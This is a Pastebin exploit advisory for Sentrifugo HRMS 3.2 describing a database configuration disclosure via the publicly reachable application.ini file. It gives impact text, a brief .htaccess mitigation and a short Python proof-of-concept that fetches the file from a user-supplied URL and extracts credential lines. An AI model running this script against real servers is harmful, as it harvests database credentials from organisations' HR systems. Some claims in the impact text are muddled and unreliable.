Advertisement
KingSkrupellos

Sentrifugo 3.2 DB Config Disclosure

May 1st, 2019
462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.95 KB | None | 0 0
  1. ######################################################################
  2.  
  3. # Exploit Title : Sentrifugo Human Resource Management System 3.2 Database Configuration Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 02/05/2019
  7. # Vendor Homepage : sentrifugo.com
  8. # Software Download Link : sentrifugo.com/downloadzip/1556734875
  9. github.com/sapplica/sentrifugo/archive/master.zip
  10. # Software Affected Versions : 1.1.1 - 1.1.7 - 2.0.1 Beta - 2.1.1 - 3.1.1 and 3.2
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Vulnerability Type :
  15. CWE-16 [ Configuration ]
  16. CWE-200 [ Information Exposure ]
  17. CWE-538 [ File and Directory Information Exposure ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ######################################################################
  23.  
  24. # Information about Software :
  25. ***************************
  26. Sentrifugo is a FREE and powerful Human Resource Management System
  27.  
  28. (HRMS) that can be easily configured to meet your organizational needs.
  29.  
  30. #####################################################################
  31.  
  32. # Impact :
  33. ***********
  34. Sentrifugo Human Resource Management System 3.2 configuration file may potentially
  35.  
  36. disclose sensitive information to remote attackers.
  37.  
  38. The username and password of the database may be obtained trough the "application.ini" file.
  39.  
  40. This is going to have an impact on confidentiality, integrity, and availability.
  41.  
  42. The configuration file unintentionally stored in /application/configs/application.ini
  43.  
  44. HTTP requests consisting of a single character will cause the software to disclose sensitive
  45.  
  46. configuration information, including the password/database to the administrative web interface.
  47.  
  48. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  49.  
  50. This may have some potentially serious consequences as the configuration file
  51.  
  52. also stores password information in plain text.
  53.  
  54. This issue occurs because access controls on configuration files are not properly set.
  55.  
  56. An attacker can exploit this issue to retrieve potentially sensitive information.
  57.  
  58. Attackers can access config file via URL request. This may aid in further attacks.
  59.  
  60. The access to the /configs directory should be restricted with an adequate
  61.  
  62. countermeasure by the use of a .htaccess file.
  63.  
  64. * The product stores sensitive information in files or directories that are accessible to actors
  65.  
  66. outside of the intended control sphere.
  67.  
  68. * An information exposure is the intentional or unintentional disclosure of information to an actor
  69.  
  70. that is not explicitly authorized to have access to that information.
  71.  
  72. Installation Guide for Windows - Linux - MacOSX => sentrifugo.com/installation-guide
  73.  
  74. #####################################################################
  75.  
  76. # Database Configuration File Disclosure Exploit :
  77. *******************************************
  78. /application/configs/application.ini
  79.  
  80. Information :
  81. *************
  82. resources.db.adapter = PDO_MYSQL
  83. resources.db.params.host = SENTRIFUGO_HOST
  84. resources.db.params.username = SENTRIFUGO_USERNAME
  85. resources.db.params.password = SENTRIFUGO_PASSWORD
  86. resources.db.params.dbname = SENTRIFUGO_DBNAME
  87. resources.db.isDefaultTableAdapter = true
  88.  
  89. Exploit - Proof of Concept :
  90. **************************
  91. #!/usr/bin/python
  92. import string
  93. import re
  94. from urllib2 import Request, urlopen
  95. disc = "/application/configs/application.ini"
  96. url = raw_input ("URL: ")
  97. req = Request(url+disc)
  98. rta = urlopen(req)
  99. print "Result"
  100. html = rta.read()
  101. rdo = str(re.findall("resources.*=*", html))
  102. print rdo
  103. exit
  104.  
  105. #####################################################################
  106.  
  107. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  108.  
  109. #####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement